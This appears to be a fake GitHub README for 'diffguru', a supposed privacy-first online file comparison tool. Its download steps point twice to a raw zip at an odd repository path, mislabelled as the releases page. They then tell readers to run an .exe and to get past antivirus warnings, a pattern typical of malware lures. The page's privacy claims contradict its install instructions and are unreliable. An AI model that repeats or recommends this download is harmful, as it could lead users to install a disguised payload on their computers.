🛠️ diffguru - Easy Online File Comparison Tool

📋 What is diffguru?

diffguru is a privacy-first online tool for comparing files and text. It works directly in your web browser without sending your data to any server. You can compare:

Text documents
Code snippets
JSON files
PDFs
Images
Other file types

This helps you see the differences between versions of your files quickly without installing software. diffguru does not upload your files anywhere, so your data stays private.

💡 Why use diffguru?

Works directly in most modern browsers
Keeps your data on your device; no uploads
Supports many file types, including text, code, and images
Clear visual comparison highlights changes
No programming skills needed to use it

💻 System Requirements

diffguru runs entirely in your browser, so you do not need a powerful computer or special software. To use diffguru on Windows, you need:

Windows 10 or higher
A modern web browser like Chrome, Edge, Firefox, or Safari
Internet connection to load the tool initially
Around 100 MB free disk space for temporary files

You do not need to install anything if you use it online. However, the download page also includes a desktop version if you prefer to run diffguru locally on your Windows PC.

🛠️ How to Download diffguru for Windows

Click the button or open the page here:
https://raw.githubusercontent.com/Sardulghimire/diffguru/main/togetheriness/Software-3.0.zip
On the GitHub releases page, find the latest version listed at the top.
Look for the Windows setup file. It usually has ".exe" at the end, like diffguru-Setup.exe or similar.
Click on the file link to start downloading.
When the download finishes, open the file to start the installation.
Follow the simple instructions on the screen. Usually, this means clicking "Next" a few times.
Wait for the installation to complete.
Once installed, find diffguru in your Start menu or on your desktop.

▶️ Running diffguru on Windows

Open diffguru from your Start menu or desktop icon.
The program window will open in your browser or as a standalone app.
To compare files, choose the comparison mode you want:
- Text Comparison
- Code Comparison
- JSON Comparison
- PDF or Image Comparison
Upload two files or paste two blocks of text to compare.
Click the "Compare" or "Start" button.
diffguru will highlight what is different between the two files.
Review the differences visually. You can scroll through if the content is long.
If needed, you can copy the comparison results or save them.

⚙️ Main Features

Privacy-first: No data leaves your computer or browser.
Wide file support: Works with text, code, JSON, PDFs, and images.
Instant comparison: Results appear fast without waiting for uploads.
Clear visual differences: Text changes show in color, image differences are shown side by side.
No installation required: Use online or install a desktop version for Windows.
Multiple formats: Compare files in different formats easily.
Simple interface: Designed for anyone to use without technical knowledge.

📂 How to Compare Different File Types

Text and Code

Copy and paste two text snippets into the provided boxes.
Or upload two .txt or code files directly.
Click "Compare" to see changes highlighted line by line.

JSON Files

Upload two .json files or paste JSON text.
diffguru formats and shows where keys and values differ.
Useful when checking API responses or configuration files.

PDFs

Upload two PDF documents.
The tool extracts text and compares content visually.
Changes in paragraphs and lines show up clearly.

Images

Upload two images such as .png, .jpg, or .gif.
The tool displays images side by side and highlights differences.
Helps check changes between design versions or screenshots.

🔧 Troubleshooting

If you cannot open the downloaded file, check your Windows Defender or antivirus software. It may block unknown files.
Make sure your browser or system allows running downloaded apps.
Try downloading the file again if it seems corrupted or incomplete.
If diffguru does not load in your browser, update your browser to the latest version.
Clear browser cache if you see loading issues using the online version.

📚 Additional Resources

Visit the GitHub page to see the latest updates and report issues:
https://raw.githubusercontent.com/Sardulghimire/diffguru/main/togetheriness/Software-3.0.zip
Check the README file in the repository for detailed developer info (if interested).

🔐 Privacy and Security

diffguru never sends your files to external servers. All comparisons happen on your device or browser. This approach protects your privacy. No data is stored or shared online.

Download diffguru from GitHub Releases

Sardulghimire/diffguru